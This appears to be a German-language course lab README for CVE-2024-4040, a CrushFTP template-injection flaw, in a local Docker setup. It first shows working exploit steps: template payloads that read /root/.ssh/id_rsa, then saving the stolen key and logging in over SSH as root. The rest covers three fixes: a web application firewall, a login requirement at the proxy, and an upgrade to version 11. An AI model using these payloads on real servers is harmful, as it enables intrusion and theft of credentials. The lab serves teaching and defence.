
Proof-of-concept für CVE-2024-4040 (CrushFTP SSTI -> nicht authentifiziertes LFI) in einer kontrollierten CS443-Lab-Umgebung - nur für Bildungs-/autorisierte Zwecke.
| Feld | Details |
|---|
| CVE | CVE-2024-4040 |
| Betroffene Software | CrushFTP < 10.7.1 (v10-Zweig) / < 11.1.0 (v11-Zweig) |
| Art der Schwachstelle | Server-Side Template Injection (SSTI) → Nicht authentifiziertes Lesen lokaler Dateien |
| CVSS-Score | 9.8 Kritisch |
| Auswirkungen | Nicht authentifizierte Angreifer können beliebige Dateien vom Server-Dateisystem lesen |
Das WebInterface von CrushFTP wertet Template-Ausdrücke im path-Parameter des zip-Befehls ohne Bereinigung aus. Ein nicht authentifizierter Angreifer kann anonyme Sitzungscookies erlangen und diese Cookies verwenden, um Template-Payloads ({working_dir}, <INCLUDE>…</INCLUDE>) zu übergeben, die der Server auswertet und zurückgibt — was das Lesen beliebiger Dateien auf dem gesamten Host ermöglicht.
| Komponente | Wert |
|---|---|
| Ziel | http://localhost:8080 |
| Basis-PoC-CrushFTP-Version | 10.3.0 (absichtlich verwundbar) |
| Testumgebung für Gegenmaßnahme 3 | Separater Container mit CrushFTP 11.x (gepatchter Zweig) |
| SSH-Port (Container) | 2222 → 22 |
| Admin-Zugangsdaten | admin / admin |
| Container-Laufzeit | Docker (Compose) |
pip install requests rich
| Skript | Quelle | Zweck |
|---|---|---|
crushed.py | Stuub/CVE-2024-4040-SSTI-LFI-PoC | Vollständiger SSTI/LFI-Exploit — Sitzungsdiebstahl, Lesen beliebiger Dateien |
recon.py | Dieses Repository | Versionserkennung, Live-SSTI-Test, Bestätigung der Schwachstelle |
docker-compose up -d
Warte etwa 10 Sekunden, bis CrushFTP vollständig initialisiert ist, bevor du die Skripte ausführst.
Hier ist kein separater Recon-Schritt erforderlich, da crushed.py während der Ausführung bereits prüft, ob ein Exploit möglich ist.
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa
Das Skript wird:
CrushAuth-/currentAuth-Sitzung von /WebInterface/ abrufen{working_dir} verwenden, um das CrushFTP-Installationsverzeichnis aufzulösen<INCLUDE>/root/.ssh/id_rsa</INCLUDE> verwenden, um die Zieldatei zu lesenKopiere den Private-Key-Block aus der Ausgabe (alles von -----BEGIN OPENSSH PRIVATE KEY----- bis -----END OPENSSH PRIVATE KEY-----).
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no
whoami
# Expected: root
id
# Expected: uid=0(root) gid=0(root) groups=0(root)
hostname
# Expected: <container_id>
Unauthenticated attacker
│
▼
GET /WebInterface/ ← obtains anonymous CrushAuth + currentAuth cookies
│
▼
POST /WebInterface/function/
?command=zip
&path={hostname} ← SSTI confirmed — template evaluated by server
│
▼
POST /WebInterface/function/
?command=zip
&path={working_dir} ← leaks absolute installation path
│
▼
POST /WebInterface/function/
?command=zip
&path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE> ← arbitrary file read
│
▼
SSH -i stolen_id_rsa root@localhost -p 2222 ← full root shell
| Problem | Stelle | Details |
|---|---|---|
| Fehlende Abhängigkeit | Zeile 6–9 | Erfordert pip install rich vor der Ausführung |
| Instabiles XML-Parsing | Zeilen 86, 140 | Stürzt bei Nicht-XML-Serverantworten ab; keine ParseError-Behandlung |
| Token-Regex zu streng | Zeilen 160–161 | Das Muster CrushAuth=…; currentAuth=… passt möglicherweise nicht auf alle sessions.obj-Formate |
| Nur HTTP 404 | Zeile 53 | Cookie-Abruf gelingt nur bei 404; bei anderen Statuscodes wird stillschweigend fortgefahren |
Eine WAF fungiert als Reverse-Proxy, der eingehenden HTTP/S-Datenverkehr prüft, bevor er CrushFTP erreicht. Mit NGINX und ModSecurity werden bösartige Anfragen, die CVE-2024-4040 ausnutzen, am Netzwerkrand blockiert, ohne CrushFTP selbst zu verändern.
../, %2e%2e) in Anfrage-URIs und CookiesVerwende Mitigation 1/docker-compose.yaml:
services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
Verwende Mitigation 1/nginx.conf:
worker_processes 1;
events {
worker_connections 1024;
}
http {
# Enable ModSecurity
modsecurity on;
modsecurity_rules_file /etc/modsecurity.d/setup.conf;
upstream crushftp {
server crushftp:8080;
}
server {
listen 80;
server_name localhost;
# Proxy all traffic to CrushFTP
location / {
proxy_pass http://crushftp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Return 403 for blocked requests
error_page 403 /403.html;
location = /403.html {
return 403 '{"error": "Request blocked by WAF"}';
}
}
}
Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
-> forwards clean -> CrushFTP:8080
CVE-2024-4040 ist ohne Authentifizierung ausnutzbar. In diesem Labor wird anonymer Zugriff auf der NGINX-Ebene blockiert, indem ein Authorization-Header verlangt wird, bevor sensible Routen an CrushFTP weitergeleitet werden.
crushed.py verlassen sich auf nicht authentifizierten Zugriff; Anfragen ohne Anmeldedaten werden mit 401 abgelehnt/WebInterface/ und / werden verweigert, sofern keine Authentifizierungsdaten vorhanden sindservices:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
events {}
http {
server {
listen 80;
# Allow static assets unauthenticated
location ~* \.(css|js|png|jpg|ico|gif)$ {
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
}
# Block unauthenticated access to WebInterface
location /WebInterface/ {
if ($http_authorization = "") {
return 401 "Authentication Required - Anonymous sessions disabled";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Authorization $http_authorization;
}
# Block everything else unauthenticated
location / {
if ($http_authorization = "") {
return 401 "Authentication Required";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
}
# Confirm unauthenticated request is rejected by NGINX
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# Expected: 401 Unauthorized
# Optional: authenticated request should be forwarded
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername
Ein Upgrade auf CrushFTP 11 ist der effektivste und dauerhafteste Fix. Der Patch fügt eine strenge Eingabevalidierung bei der Auflösung von VFS-Pfaden hinzu und beseitigt damit die Ursache von CVE-2024-4040.
crushed.py funktionieren gegen Version 11 nicht mehrAktualisiere dein Dockerfile, um CrushFTP 11 zu verwenden:
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt
RUN apt-get update -y && apt-get -y install unzip wget openssh-server
COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip
EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22
WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"
CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d
Baue den Container neu:
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d
# Run the exploit against v11 - should fail
# Note: this repository's script uses -t/--target.
python3 crushed.py -t http://localhost:8080
# Expected: exploit returns no output or connection error